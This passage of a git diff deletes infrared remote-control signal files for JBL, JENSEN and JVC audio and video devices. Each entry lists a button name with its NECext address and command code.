00 00 -command: 48 00 00 00 -# -name: INPUT_CALIBRATE_> -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 49 00 00 00 -# -name: DELAY_V -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 4B 00 00 00 -# -name: CENTER_ON -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 4C 00 00 00 -# -name: CENTER_+3DB -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 4F 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 50 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 51 00 00 00 -# -name: DIM.DISPLAY -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 53 00 00 00 -# -name: REF. -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 56 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 58 00 00 00 -# -name: AMBIENCE_- -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 5A 00 00 00 -# -name: SOUND_STAGE -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JBL/Surround Processor/28,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JBL/Surround Processor/28,-1.ir deleted file mode 100644 index 5a9d270c2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JBL/Surround Processor/28,-1.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SET_UP -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 83 00 00 00 -# -name: ON/OFF -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 84 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 87 00 00 00 -# -name: PANORAMA_NORMAL(1) -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 89 00 00 00 -# -name: PANORAMA_WIDE(2) -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 8A 00 00 00 -# -name: PANORAMA_BINAURAL(3) -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 8B 00 00 00 -# -name: BANK -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 8C 00 00 00 -# -name: AMBIENCE_SMALL(4) -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 8D 00 00 00 -# -name: AMBIENCE_MEDIUM(5) -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 8E 00 00 00 -# -name: AMBIENCE_LARGE(6) -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 8F 00 00 00 -# -name: PARAM -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 90 00 00 00 -# -name: REVERB_SMALL(7) -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 91 00 00 00 -# -name: REVERB_MEDIUM(8) -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 92 00 00 00 -# -name: REVERB_LARGE(9) -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 93 00 00 00 -# -name: ^ -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 94 00 00 00 -# -name: SRND_TV(10) -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 95 00 00 00 -# -name: SRND_MUSIC(11) -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 96 00 00 00 -# -name: SRND_FULL(12) -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 97 00 00 00 -# -name: V -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 98 00 00 00 -# -name: SRND_MONO(13) -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 99 00 00 00 -# -name: SRND_PRO-LOGIC(14) -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 9A 00 00 00 -# -name: SRND_THX_CINEMA(15) -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 9B 00 00 00 -# -name: BALANCE_^ -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 9E 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: A0 00 00 00 -# -name: BALANCE_< -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: A1 00 00 00 -# -name: BALANCE_> -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: A3 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: A4 00 00 00 -# -name: BALANCE_V -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: A6 00 00 00 -# -name: EFFECTS_V -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: A9 00 00 00 -# -name: EFFECTS_^ -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: AA 00 00 00 -# -name: EFX_MUTE -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: AB 00 00 00 -# -name: MAIN_MUTE -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: AC 00 00 00 -# -name: INPUT_1 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: AD 00 00 00 -# -name: INPUT_2 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: AE 00 00 00 -# -name: INPUT_3 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: AF 00 00 00 -# -name: INPUT_4 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: B0 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JENSEN/VCR/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JENSEN/VCR/1,-1.ir deleted file mode 100644 index 971d93612..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JENSEN/VCR/1,-1.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: FAST_FORWARD_>> -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: REWIND_<< -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0C 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0D 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: CH_DN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: CH_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 19 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4E 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4F 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 50 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 51 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 52 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 53 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 54 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 55 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 56 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 57 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 58 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 6D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/CD Jukebox/179,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/CD Jukebox/179,0.ir deleted file mode 100644 index f40a7e73e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/CD Jukebox/179,0.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -_-_- -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: +++ -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: CONTINUE -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: DISC -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: INTRO_SCAN -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: TRACK -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/CD Jukebox/34,33.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/CD Jukebox/34,33.ir deleted file mode 100644 index c2cf5a0e9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/CD Jukebox/34,33.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CHARACTER -type: parsed -protocol: NECext -address: 22 21 00 00 -command: 03 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 22 21 00 00 -command: 0C 00 00 00 -# -name: TITLE_INPUT -type: parsed -protocol: NECext -address: 22 21 00 00 -command: 13 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 22 21 00 00 -command: 18 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/CD Jukebox/34,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/CD Jukebox/34,48.ir deleted file mode 100644 index 6fe3cd1d0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/CD Jukebox/34,48.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 00 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 03 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 04 00 00 00 -# -name: INTRO -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 08 00 00 00 -# -name: CALL -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 15 00 00 00 -# -name: TRACK_- -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 18 00 00 00 -# -name: TRACK_+ -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 19 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 1B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 20 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 21 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 22 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 23 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 24 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 25 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 26 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 27 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 28 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 29 00 00 00 -# -name: PLAY/PAUSE -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 2B 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 2C 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 30 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 31 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 32 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 36 00 00 00 -# -name: CONTINUE -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 37 00 00 00 -# -name: +1_DISC -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 46 00 00 00 -# -name: -1_DISC -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 47 00 00 00 -# -name: DISC -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 80 00 00 00 -# -name: TRACK -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 81 00 00 00 -# -name: +10_DISC -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 82 00 00 00 -# -name: -10_DISC -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 83 00 00 00 -# -name: ONE_DISC -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 84 00 00 00 -# -name: USER_FILE -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 89 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 94 00 00 00 -# -name: DISC_SEARCH -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 95 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/CD Player/179,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/CD Player/179,-1.ir deleted file mode 100644 index db79b5e29..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/CD Player/179,-1.ir +++ /dev/null @@ -1,1082 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 40 00 00 00 -# -name: POWER_(ENTER) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 40 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 43 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 43 00 00 00 -# -name: STOP[] -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 43 00 00 00 -# -name: STOP/CANCEL_[] -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 43 00 00 00 -# -name: STOP_[]_(U) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 43 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 43 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 44 00 00 00 -# -name: DISC_OPEN/CLOSE -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 44 00 00 00 -# -name: OPEN/CLOSE_(W) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 44 00 00 00 -# -name: DISC_NEXT -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 45 00 00 00 -# -name: CALL -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 45 00 00 00 -# -name: INTRO -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 48 00 00 00 -# -name: PLAY_MODE_INTROSCAN -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 48 00 00 00 -# -name: EDITING -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 49 00 00 00 -# -name: SIDE_A/B -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 4A 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 4B 00 00 00 -# -name: M._EJECT -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 4B 00 00 00 -# -name: M.EJECT -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 4B 00 00 00 -# -name: M.EJECT_(V) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 4B 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 4C 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 4C 00 00 00 -# -name: PLAY> -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 4C 00 00 00 -# -name: PLAY_>_(T) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 4C 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 4C 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 4D 00 00 00 -# -name: PAUSE_ -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 4D 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 4D 00 00 00 -# -name: PAUSE_(S) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 4D 00 00 00 -# -name: PAUSE_ -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 4D 00 00 00 -# -name: DISPLAY_MODE -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 54 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 54 00 00 00 -# -name: DISPLAY_(MODE) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 54 00 00 00 -# -name: CALL -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 55 00 00 00 -# -name: CALL_(->) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 55 00 00 00 -# -name: CALL -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 55 00 00 00 -# -name: INDEX_-> -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 56 00 00 00 -# -name: INDEX_--> -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 56 00 00 00 -# -name: INDEX_<- -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 57 00 00 00 -# -name: INDEX_<-- -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 57 00 00 00 -# -name: AUTO_SEARCH_REV -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 58 00 00 00 -# -name: AUTO_SEARCH_<< -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 58 00 00 00 -# -name: SKIP_REW_<< -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 58 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 58 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 58 00 00 00 -# -name: AUTO_SRCH_<<_(X) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 58 00 00 00 -# -name: SKIP_REW_<< -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 58 00 00 00 -# -name: AUTO_SRCH/CK_<< -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 58 00 00 00 -# -name: AUTO_SEARCH_>> -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 59 00 00 00 -# -name: SKIP_FWD>> -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 59 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 59 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 59 00 00 00 -# -name: AUTO_SRCH_>>_(Y) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 59 00 00 00 -# -name: SKIP_FWD_>> -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 59 00 00 00 -# -name: AUTO_SRCH/CK_>> -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 59 00 00 00 -# -name: REPEAT_ALL/1 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 5B 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 5B 00 00 00 -# -name: REPEAT_(ALL_1) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 5B 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 61 00 00 00 -# -name: 1_TRACK -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 61 00 00 00 -# -name: TRACK_1 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 61 00 00 00 -# -name: TRACK_1_(A) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 61 00 00 00 -# -name: TRACK_1 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 61 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 62 00 00 00 -# -name: 2_TRACK -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 62 00 00 00 -# -name: TRACK_2 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 62 00 00 00 -# -name: TRACK_2_(B) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 62 00 00 00 -# -name: TRACK_2 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 62 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 63 00 00 00 -# -name: 3_TRACK -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 63 00 00 00 -# -name: TRACK_3 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 63 00 00 00 -# -name: TRACK_3_(C) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 63 00 00 00 -# -name: TRACK_3 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 63 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 64 00 00 00 -# -name: 4_TRACK -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 64 00 00 00 -# -name: TRACK_4 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 64 00 00 00 -# -name: TRACK_4_(D) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 64 00 00 00 -# -name: TRACK_4 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 64 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 65 00 00 00 -# -name: 5_TRACK -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 65 00 00 00 -# -name: TRACK_5 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 65 00 00 00 -# -name: TRACK_5_(E) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 65 00 00 00 -# -name: TRACK_5 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 65 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 66 00 00 00 -# -name: 6_TRACK -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 66 00 00 00 -# -name: TRACK_6 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 66 00 00 00 -# -name: TRACK_6_(F) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 66 00 00 00 -# -name: TRACK_6 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 66 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 67 00 00 00 -# -name: 7_TRACK -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 67 00 00 00 -# -name: TRACK_7 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 67 00 00 00 -# -name: TRACK_7_(G) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 67 00 00 00 -# -name: TRACK_7 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 67 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 68 00 00 00 -# -name: 8_TRACK -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 68 00 00 00 -# -name: TRACK_8 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 68 00 00 00 -# -name: TRACK_8_(H) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 68 00 00 00 -# -name: TRACK_8 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 68 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 69 00 00 00 -# -name: 9_TRACK -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 69 00 00 00 -# -name: TRACK_9 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 69 00 00 00 -# -name: TRACK_9_(I) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 69 00 00 00 -# -name: TRACK_9 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 69 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6A 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6A 00 00 00 -# -name: RESERVE -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6A 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6D 00 00 00 -# -name: CANCEL_(<-) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6D 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6D 00 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6E 00 00 00 -# -name: 10_TRACK -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6E 00 00 00 -# -name: TRACK_10 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6E 00 00 00 -# -name: TRACK_10_(J) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6E 00 00 00 -# -name: TRACK_10 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6E 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6E 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6F 00 00 00 -# -name: +10_TRACK -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6F 00 00 00 -# -name: TRACK_+10 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6F 00 00 00 -# -name: 10+ -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6F 00 00 00 -# -name: TRACK_+10_(K) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6F 00 00 00 -# -name: TRACK_+10 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6F 00 00 00 -# -name: SEARCH_REV -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 70 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 70 00 00 00 -# -name: SRCH_REW<< -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 70 00 00 00 -# -name: SEARCH_REV_<< -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 70 00 00 00 -# -name: MANUAL_SEARCH_<< -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 70 00 00 00 -# -name: SEARCH_REW_<< -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 70 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 70 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 71 00 00 00 -# -name: PLAY_MODE_PROGRAM -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 71 00 00 00 -# -name: PRGM -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 71 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 72 00 00 00 -# -name: PLAY_MODE_RANDOM -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 72 00 00 00 -# -name: MAG.PRGM -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 73 00 00 00 -# -name: GRAPHICS_CH_^ -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 74 00 00 00 -# -name: GRAPHICS_CH_V -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 75 00 